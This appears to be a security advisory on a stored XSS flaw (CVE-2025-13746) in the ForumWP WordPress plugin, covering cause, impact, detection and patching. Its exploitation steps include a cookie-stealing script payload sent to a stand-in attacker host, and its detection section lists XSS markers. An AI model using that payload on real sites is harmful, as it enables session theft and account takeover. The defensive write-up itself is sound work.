CVE-2025-13746: 
WordPress vulnerability analysis and mitigation

CVE-2025-13746 is a Stored Cross-Site Scripting (XSS) vulnerability in the ForumWP – Forum & Discussion Board plugin for WordPress, affecting all versions up to and including 2.1.6. The flaw exists due to insufficient input sanitization and output escaping of the user's Display Name field. It was disclosed on January 5–6, 2026, and was reported by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The root cause lies in the plugin's failure to properly sanitize user-supplied Display Name input before storing it and to escape it upon output in rendered pages. Specifically, the vulnerable code paths are found in class-user.php (line 906), user-card.php (line 57), and tooltip.js (line 25) within the plugin's source. An authenticated attacker with at minimum Subscriber-level access can set a malicious JavaScript payload as their Display Name, which is then persistently stored and executed in the browsers of any user who visits a page rendering that user's card or tooltip (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker with low privileges (Subscriber-level) to inject persistent malicious scripts that execute in the context of any site visitor's browser. This can result in session cookie theft, credential harvesting, defacement of forum content, redirection to malicious sites, or further attacks against higher-privileged users such as administrators. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the attacker's own session to affect other users across the site (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires only Subscriber-level authentication, which lowers the barrier for abuse on sites with open user registration (Wordfence).

1. Register or obtain a Subscriber-level account: On a WordPress site running ForumWP ≤ 2.1.6 with open registration, create or log into a low-privilege user account.
2. Inject XSS payload into Display Name: Navigate to the user profile settings and set the Display Name to a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML-encoded variant.
3. Save the profile: Submit the profile update; the unsanitized payload is stored in the WordPress database via the vulnerable class-user.php handler.
4. Trigger execution: When any site visitor (including administrators) views a forum page, user card, or tooltip that renders the attacker's Display Name (via user-card.php or tooltip.js), the injected script executes in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or perform further actions (e.g., admin account takeover) using the exfiltrated data (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing profile update requests (POST /wp-admin/profile.php or equivalent REST API endpoint) from low-privilege accounts containing HTML/JavaScript special characters (<script>, onerror=, javascript:) in the display name parameter.
• Database: Entries in the wp_users or wp_usermeta table where the display_name field contains script tags or encoded JavaScript payloads.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting forum pages (potential data exfiltration endpoints).
• Browser/Client: Unexpected JavaScript errors or redirects reported by users when accessing forum threads or user profile cards.

Users should update the ForumWP – Forum & Discussion Board plugin to a version beyond 2.1.6 that includes a patch for this vulnerability. As an interim workaround, site administrators can disable user self-registration to prevent untrusted users from obtaining Subscriber-level accounts, or temporarily deactivate the ForumWP plugin until a patched version is applied. Administrators should also audit existing user Display Names in the database for any suspicious script content (Wordfence).

Wordfence disclosed and reported this vulnerability, including it in their weekly WordPress vulnerability report for January 5–11, 2026. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).